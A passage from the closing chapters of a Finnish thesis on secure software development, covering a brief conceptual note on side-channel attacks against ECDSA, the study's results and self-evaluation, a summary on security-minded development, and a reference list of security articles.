Huomattavaa kaikissa yllä mainituissa hyökkäysmenetelmissä on, että hyökkäyksen kohde on algoritmin toteutus eikä itse algoritmi, ja hyökkäykset perustuvat systeemin tarkkailuun. Sivukanavahyökkäyksiä on sovellettu useisiin salausmenetelmiin, mutta erityisen haavoittuvaiseksi tunnetaan aiemmin mainittu ECDSA, sillä salauksessa käytetyn satunnaisluvun (engl. cryptographic nonce) paljastuminen johtaa yksityisen avaimen paljastumiseen. Tämän lisäksi yksityistä avainta käytetään salausprosessissa bitti kerrallaan, jolloin virrankulutusta tarkkailemalla on mahdollista päätellä, onko käsiteltävä bitti nolla vai ykkönen, ja näin on mahdollista päätellä myös koko avain. Bitin arvo voidaan myös päätellä ohjelman suoritusajasta tai jopa laitteen sähkömagneettisesta säteilystä, joskin tämän tyyppiset hyökkäykset ovat usein hankalia ja kalliita toteuttaa. Sivukanavahyökkäyksiä voidaan torjua estämällä tietojen vuotaminen siten, että jokainen laskentaoperaatio vaikuttaa hyökkääjän näkökulmasta samanlaiselta. Tämä voidaan tehdä esimerkiksi lisäämällä ylimääräisiä laskentaoperaatioita ohjelman suoritukseen siten, että virrankäyttö ja suoritusaika erilaisten operaatioiden välillä tasapainottuu. (Houssain, Somani & Tawalbeh 2017.)

7 Tulokset

Tutkimuksen tuloksena on syntynyt kattava luettelo haavoittuvuuksista ja niihin soveltuvista vastatoimista, mikä vastaa alussa esiteltyyn tutkimuskysymykseen. Vaikka kaikkia ohjelmointivirheitä ja tietoturvaongelmia ei ole mahdollista koota yhteen tutkimukseen, on tuloksena syntynyt konstruktio varsin kattava ratkaisu tutkimuskysymyksessä esitettyyn ongelmaan, sillä se auttaa lukijaa ajattelemaan tietoturvallisesti, eikä keskity ainoastaan johonkin tiettyyn haavoittuvuuteen tai tekniikkaan. Kaikki yleisimmät haavoittuvuudet ja tietoturvaongelmiin johtavat ohjelmointivirheet sekä niiden torjuntamenetelmät on käyty läpi. Tuloksena syntynyt tietoperusta antaa vahvan pohjan tietoturvaosaamisen kehittämiseen itsenäisesti sekä tietoturvalliseen ohjelmointiin.

Tutkimuskysymyksenä oli selvittää mitkä asiat on otettava huomioon turvallisten ohjelmistojen kehitysprosessissa. Kysymykseen vastattiin kokoamalla mahdollisimman paljon ajankohtaista tietoa erilaisista haavoittuvuuksista ja ohjelmointikäytännöistä, joilla näitä haavoittuvuuksia voidaan torjua ja siten nostaa kokonaisturvallisuuden tasoa. Tutkimuksen tuloksena on siis syntynyt tietopaketti, joka kattaa mm. OWASP:in ajankohtaisimmaksi määrittelemät haavoittuvuudet niin verkkosovellusten, mobiilisovellusten kuin myös sulautettujen järjestelmien osa-alueilla. Tutkimuksen alussa asetettiin tavoitteeksi, että lähteinä käytettäisiin ainoastaan asiantuntijoiden ja asiantuntijaorganisaatioiden julkaisemaa tietoa, ja tässä onnistuttiin verrattain hyvin. Aiheet valittiin kehittäjäyhteisöjen (mm. OWASP) ajankohtaisimpien keskustelunaiheiden perusteella. Nämä seikat huomioon ottaen on työn tuloksia kokonaisuutena arvioiden pidettävä luotettavina.

Työn uutuusarvo verrattuna aiempiin tutkimuksiin korostuu siinä, etteivät useimmat tutkimukset tarjoa monipuolista katsausta ohjelmistokehittäjän työn kannalta olennaisiin asioihin, vaan keskittyvät usein johonkin tiettyyn haavoittuvuuteen. Toisin sanoen työn tarkoitus oli kerätä olennaisia asioita yhteen ja pyrkiä selittämään ne ymmärrettävästi. Tutkimusmetodologiaksi valittiin konstruktiivinen tutkimus, joka on yksi käytetyimmistä kvalitatiivisen tutkimuksen osa-alueista tietojenkäsittelytieteessä, ja lopputulosta kokonaisuutena arvioiden tutkimusmetodologian valinta onnistui hyvin. Mahdollisia puutteita työssä ovat esimerkiksi pilvipalveluiden haavoittuvuuksien puuttuminen työstä, joskin verkkosovellusten haavoittuvuuksia käsittelevä osio vastaa suurimmalta osin myös näihin kysymyksiin. Työ onkin erityisesti onnistunut juuri verkkosovellusten haavoittuvuuksia käsittelevässä osiossa, josta on muodostunut kattavin teoriaosio. Jatkokehityskohteita voisivat olla esimerkiksi edellä mainittujen pilvipalveluiden haavoittuvuuksien sekä

koneoppimiseen liittyvien uudenlaisten haavoittuvuuksien ja riskien tutkiminen. Lähteiden osalta työ on onnistunut varsin hyvin, työn alkuvaiheessa tavoitteeksi asetettiin käyttää ainoastaan asiantuntijoiden ja asiantuntijaorganisaatioiden julkaisemaa tietoa ja tässä onnistuttiin. Lähteinä olisi voinut käyttää myös enemmän pidempiä tieteellisiä julkaisuja kuten kirjoja, jotka tarjoaisivat syvällisemmän selityksen käsiteltävästä aiheesta, mutta käytetyt artikkelit ja julkaisut riittävät hyvin perustason tietämyksen rakentamiseen. Kokonaisuutena tarkastellen työn tuloksia voidaan pitää luotettavina ja työtä onnistuneena.

8 Yhteenveto

Kaikkea sovelluskehittäjäyhteisön tietoa haavoittuvuuksista on mahdotonta tiivistää yhteen julkaisuun. Avain turvalliseen sovelluskehitykseen ei kuitenkaan ole kaiken ulkoa muistaminen, vaan ns. ”out of the box” ajattelutapa, jonka hyökkääjät omaavat, ja joka auttaa myös kehittäjää havaitsemaan haavoittuvuudet ennen kuin ne päätyvät tuotantoversioon. Kehittäjä ymmärtää aina parhaiten, miten hänen oma ratkaisunsa toimii, ja siksi on erittäin tärkeää, että juuri kehittäjä itse osaa arvioida omaa ratkaisuaan kriittisesti ja miettiä miten hän itse lähtisi sitä murtamaan. Kehittäjän on tärkeä muistaa, että lähtökohtaisesti pyörää ei tarvitse eikä kannata lähteä keksimään uudestaan, vaan tunnettuihin ohjelmointiongelmiin tulisi aina soveltaa tunnettuja ja yleisesti hyväksyttyjä ratkaisuja. Usein kuulee sanottavan, että ohjelmoinnin perusperiaatteet ovat kaikissa ohjelmointikielissä samat, ja näin ollen myös tietoturvaongelmat erilaisten ohjelmistotyyppien välillä muistuttavat toisiaan huomattavan paljon, esimerkiksi syötteen käsittelyyn liittyy lähes poikkeuksetta tietoturvakysymyksiä, riippumatta siitä onko kyseessä verkko- vai mobiilisovellus tai esimerkiksi sulautettu järjestelmä. Tästä huolimatta jokainen ohjelmistoratkaisu on omalla tavallaan ainutlaatuinen ja siksi myös sen ongelmakohdat ovat ainutlaatuisia, vaikka niissä samankaltaisuutta esiintyykin. Ohjelmointitaidon kehittyessä syvällisemmäksi myös kyky ajatella kriittisesti ja nähdä asioita hyökkääjän näkökulmasta kehittyy. Käytännössä mikään ohjelmisto ei ole vielä julkaisuvaiheessa täysin virheetön, mutta olennaista on, että kriittisimmät virheet kuten tietovuodon mahdollistavat havaitaan ja korjataan jo varhaisessa kehitysvaiheessa eivätkä ne päädy tuotantoon. Tietoturvan ja testaamisen osaamiseen kannattaa panostaa, sillä yhä enemmän niin yhteiskunnan, yritysten kuin yksityishenkilöidenkin kannalta kriittisiä palveluita sähköistetään ja automatisoidaan, jolloin tietoturvan merkitys kuten myös tietoturva-alan työpaikat ja osaamisen kysyntä kasvavat. Tietoturva on ajattelutapa, joka kehittyy luonnostaan ohjelmointiosaamisen kehittyessä.

Lähteet

03. Insecure Data Storage – Part 1. Artikkeli medium.com verkkosivustolla 26.3.2019. Viitattu 19.2.2022. https://medium.com/mobile-penetration-testing/03-insecure-data-storage-part-1-593177b56a1d

Almuhammadi, S. & Al-Hejri, I. 2017. A comparative analysis of AES common modes of operation. 2017 IEEE 30th Canadian Conference on Electrical and Computer Engineering (CCECE). Viitattu 9.3.2022. https://ieeexplore.ieee.org/document/7946655, IEEE Xplore

Ashely, E. 2021. What is an embedded system? Artikkeli rs-online.com verkkosivustolla 7.6.2021. Viitattu 23.2.2022. https://www.rs-online.com/designspark/what-is-an-embedded-system

Bhandari, P. 2020. An introduction to qualitative research. Artikkeli scribbr.com verkkosivustolla 19.6.2020. Viitattu 4.2.2022. https://www.scribbr.com/methodology/qualitative-research/

Bhandari, P. 2020. An introduction to quantitative research. Artikkeli scribbr.com verkkosivustolla 12.6.2020. Viitattu 4.2.2022. https://www.scribbr.com/methodology/quantitative-research/

Boyer, J. 2018. How Secure Are Popular Web Frameworks? Here Is a Comparison. Artikkeli veracode.com verkkosivustolla 17.7.2018. Viitattu 5.2.2022. https://www.veracode.com/blog/secure-development/how-secure-are-popular-web-frameworks-here-comparison

Command Injection. Imperva n.d. Artikkeli imperva.com verkkosivustolla. Viitattu 26.2.2022.

https://www.imperva.com/learn/application-security/command-injection

Crane, C. 2021. What Is a Hash Function in Cryptography? A Beginner's Guide. Artikkeli thesslstore.com verkkosivustolla 25.1.2021. Viitattu 3.3.2022. https://www.thesslstore.com/blog/what-is-a-hash-function-in-cryptography-a-beginners-guide

Dahan, M. 2021. What are format string attacks and how can you prevent them? Artikkeli comparitech.com verkkosivustolla 11.11.2021. Viitattu 1.3.2022. https://www.comparitech.com/blog/information-security/format-string-attack

Dizdar, A. 2021. Command Injection: How it Works and 5 Ways to Protect Yourself. Artikkeli neuralegion.com verkkosivustolla 23.8.2021. Viitattu 26.2.2022. https://www.neuralegion.com/blog/os-command-injection

Dwarkani, V. 2020. How To Reverse Engineer An Android Application In 3 Easy Steps. Artikkeli medium.com verkkosivustolla 12.9.2020. Viitattu 20.2.2022. https://medium.com/dwarsoft/how-to-reverse-engineer-an-android-application-in-3-easy-steps-dwarsoft-mobile-880d268bdc90

Eettiset periaatteet ja tietosuoja. n.d. Artikkeli jamk.fi verkkosivustolla. Viitattu 22.2.2022. https://www.jamk.fi/fi/opiskelijalle/tutkinto-opiskelija/saannot-ja-periaatteet

Efimov, K. & Onitza-Klugman, R. 2021. Exploring intent-based Android security vulnerabilities on Google Play. Artikkeli snyk.io verkkosivustolla 18.5.2021. Viitattu 18.2.2022. https://snyk.io/blog/exploring-android-intent-based-security-vulnerabilities-google-play

Fruhlinger, J. 2020. What is cryptography? How algorithms keep information secret and safe. Artikkeli csoonline.com verkkosivustolla 15.10.2020. Viitattu 1.3.2022. https://www.csoonline.com/article/3583976/what-is-cryptography-how-algorithms-keep-information-secret-and-safe.html

Guzman, A. & Gupta, A. 2020. Firmware Security – Preventing memory corruption and injection attacks. Artikkeli embedded.com verkkosivustolla 17.3.2020. Viitattu 26.2.2022. https://www.embedded.com/firmware-security-preventing-memory-corruption-and-injection-attacks

Heller, M. 2019. What is SQL? The lingua franca of data analysis. Artikkeli infoworld.com verkkosivustolla 1.11.2019. Viitattu 5.2.2022. https://www.infoworld.com/article/3219795/what-is-sql-the-lingua-franca-of-data-analysis.html

Hopstock, S. 2021. Insecure TLS Certificate Checking in Android Apps. Artikkeli guardsquare.com verkkosivustolla 21.12.2021. Viitattu 19.2.2022. https://www.guardsquare.com/blog/insecure-tls-certificate-checking-in-android-apps

Houssain, H. Somani, T. F. & Tawalbeh, L. A. 2016. Towards secure communications: Review of side channel attacks and countermeasures on ECC. 2016 11th International Conference for Internet Technology and Secured Transactions (ICITST). Viitattu 10.3.2022. https://ieeexplore.ieee.org/document/7856673, IEEE Xplore

Indeed Editorial Team. What is a web application? How it works, benefits and examples. 2021. Artikkeli indeed.com verkkosivustolla 10.11.2021. Viitattu 5.2.2022. https://www.indeed.com/career-advice/career-development/what-is-web-application

Kaczanowski, M. 2021. Cross Site Request Forgery – What is a CSRF Attack and How to Prevent It. Artikkeli freecodecamp.org verkkosivustolla 3.5.2021. Viitattu 7.2.2022. https://www.freecodecamp.org/news/what-is-cross-site-request-forgery/

Kaczanowski, M. 2021. What is a Buffer Overflow Attack – and How to Stop it. Artikkeli freecodecamp.org verkkosivustolla 5.4.2021. Viitattu 26.2.2022. https://www.freecodecamp.org/news/buffer-overflow-attacks

Lukka, K. 2001. Konstruktiivinen tutkimusote. Artikkeli metodix.fi verkkosivustolla. Viitattu 22.2.2022. https://metodix.fi/2014/05/19/lukka-konstruktiivinen-tutkimusote

Morgan, S. 2020. Special Report: Cyberwarfare In The C-suite. Artikkeli cybersecurityventures.com verkkosivustolla 13.11.2020. Viitattu 10.2.2022. https://cybersecurityventures.com/cybercrime-damages-6-trillion-by-2021/

Muscat, I. 2022. What is server-side request forgery (SSRF)? Artikkeli acunetix.com verkkosivustolla 3.2.2022. Viitattu 8.2.2022. https://www.acunetix.com/blog/articles/server-side-request-forgery-vulnerability/

National Vulnerability Database. NIST. Artikkeli nvd.nist.gov verkkosivustolla 5.10.2021. Viitattu 23.2.2022. https://nvd.nist.gov/vuln/detail/CVE-2021-41773

Ney, C. 2019. Protect Android App against reverse engineering. Artikkeli medium.com verkkosivustolla 4.12.2019. Viitattu 20.2.2022. https://medium.com/@christopherney/protect-android-app-against-reverse-engineering-with-enigma-string-obfuscation-plugin-11687022cbef

OWASP Top 10 Web Application Security Risks. 2021. Artikkeli owasp.org verkkosivustolla. Viitattu 23.2.2022. https://owasp.org/www-project-top-ten

Rimkiene, R. 2020. What is AES encryption and how does it work? Artikkeli cybernews.com verkkosivustolla 11.12.2020. Viitattu 2.3.2022. https://cybernews.com/resources/what-is-aes-encryption

Rubens, P. 2021. How to Prevent SQL Injection Attacks. Artikkeli esecurityplanet.com verkkosivustolla 11.3.2021. Viitattu 5.2.2022. https://www.esecurityplanet.com/threats/how-to-prevent-sql-injection-attacks/

Securely Storing Secrets in an Android Application. Artikkeli medium.com verkkosivustolla 3.4.2016. Viitattu 19.2.2022. https://medium.com/@ericfu/securely-storing-secrets-in-an-android-application-501f030ae5a3

Selenius, T. 2021. XXE (XML External Entity) Attacks and Prevention. Artikkeli appsecmonkey.com verkkosivustolla 18.2.2021. Viitattu 13.2.2022. https://www.appsecmonkey.com/blog/xxe

Sengupta, S. 2021. XSS Attacks Best Prevention. Artikkeli crashtest-security.com verkkosivustolla 19.11.2021. Viitattu 6.2.2022. https://crashtest-security.com/xss-attack-prevention/

Sharan, A. 2021. Buffer Overflow Attack with Example. Artikkeli geeksforgeeks.org verkkosivustolla 4.12.2021. Viitattu 26.2.2022. https://www.geeksforgeeks.org/buffer-overflow-attack-with-example

Smirnoff, P. & Turner, D. 2019. Symmetric key encryption – why, where and how it's used in banking. Artikkeli cryptomathic.com verkkosivustolla 18.01.2019. Viitattu 2.3.2022. https://www.cryptomathic.com/news-events/blog/symmetric-key-encryption-why-where-and-how-its-used-in-banking

Sullivan, N. A. 2013. (Relatively Easy To Understand) Primer on Elliptic Curve Cryptography. Artikkeli cloudflare.com verkkosivustolla 24.10.2013. Viitattu 2.3.2022. https://blog.cloudflare.com/a-relatively-easy-to-understand-primer-on-elliptic-curve-cryptography

Thoma, M. 2021. Insecure Deserialization. Artikkeli martin-thoma.com verkkosivustolla 28.1.2021. Viitattu 14.2.2022. https://martin-thoma.com/insecure-deserialization

Viswanathan, P. 2021. What Is a Mobile Device? Artikkeli lifewire.com verkkosivustolla 23.9.2021. Viitattu 16.2.2022. https://www.lifewire.com/what-is-a-mobile-device-2373355

Walkowski, D. 2019. What is SQL Injection? Artikkeli f5.com verkkosivustolla 26.9.2019. Viitattu 5.2.2022. https://www.f5.com/labs/articles/education/what-is-sql-injection-

Walkowski, D. 2020. What Is Cross-Site Scripting? Artikkeli f5.com verkkosivustolla 17.4.2020. Viitattu 6.2.2022. https://www.f5.com/labs/articles/education/what-is-cross-site-scripting--xss--

What is insecure deserialization? Acunetix 7.12.2017. Viitattu 14.2.2022. https://www.acunetix.com/blog/articles/what-is-insecure-deserialization

XSS cookie stealing without redirecting to another page. Security Stack Exchange 22.1.2014. Viitattu 6.2.2022. https://security.stackexchange.com/questions/49185/xss-cookie-stealing-without-redirecting-to-another-page

Yusof, I. & Pathan, A. K., Mitigating Cross-Site Scripting Attacks with a Content Security Policy. Computer-lehti 14.3.2016. Viitattu 9.3.2022. https://ieeexplore.ieee.org/document/7433336, IEEE Xplore